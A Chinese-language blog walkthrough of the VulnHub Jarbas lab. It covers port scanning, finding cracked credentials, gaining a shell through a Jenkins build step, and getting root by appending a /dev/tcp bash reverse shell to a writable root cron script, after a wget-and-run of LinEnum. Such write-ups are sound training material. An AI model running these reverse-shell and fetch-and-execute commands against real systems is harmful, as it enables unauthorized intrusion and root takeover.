希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!
个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog
Jarbas 靶机下载地址:https://www.vulnhub.com/entry/jarbas-1,232/
0x01 信息收集
Nmap扫描目标主机,发现开放22、80、8080、3306端口,分别运行OpenSSH 7.4、Apache httpd 2.4.6、Jetty、MariaDB服务,目标操作系统为Linux。
访问80端口,页面如下:
访问8080端口 ,是一个Jenkins网站(类似域Github的项目管理),右下角显示其版本为Jenkins ver. 2.113
使用DirSearch扫描目标主机80端口网站目录,得到敏感目录/access.html
python dirsearch.py -u "http://192.168.196.140/" -z yes
访问/access.html得到几个用户名和md5加密密码,解密后如下:
tiago: italia99
trindade: marianna
eder: vipsu
0x02 权限获取
因开放3306端口,猜测可能为MySQL账号密码,尝试连接但失败。尝试登录8080端口的Jenkins,使用eder: vipsu登录成功。
对于类Github的中间件,比如上个靶场Devguru的Gitea,都可以去寻找有没有命令执行的地方,然后尝试反弹shell。
选择新建任务 >> 构建一个自由风格的软件项目 >> 构建 >> 增加构建步骤 >> Execute shell >> 写入反弹shell命令后保存。
Kali这边nc监听5566端口,Jenkins这边点击立即构建,成功收到会话。
0x03 权限提升
上传综合辅助探测脚本LinEnum.sh至目标主机/tmp目录下,给予执行权限执行。
辅助项目下载地址:https://github.com/rebootuser/LinEnum
cd /tmp;wget -O 1.sh http://192.168.196.128/LinEnum.sh
chmod +x 1.sh;./1.sh
检测到存在计划任务,每5分钟以root权限执行一次/etc/script/CleaningScript.sh
该文件权限为777,内容为清理访问日志。
将bash反弹命令追加到后面去,Kali这边nc监听5555端口,等待一段时间,成功收到会话拿到root权限和flag。
echo "bash -i >& /dev/tcp/192.168.196.128/5555 0>&1" >> /etc/script/CleaningScript.sh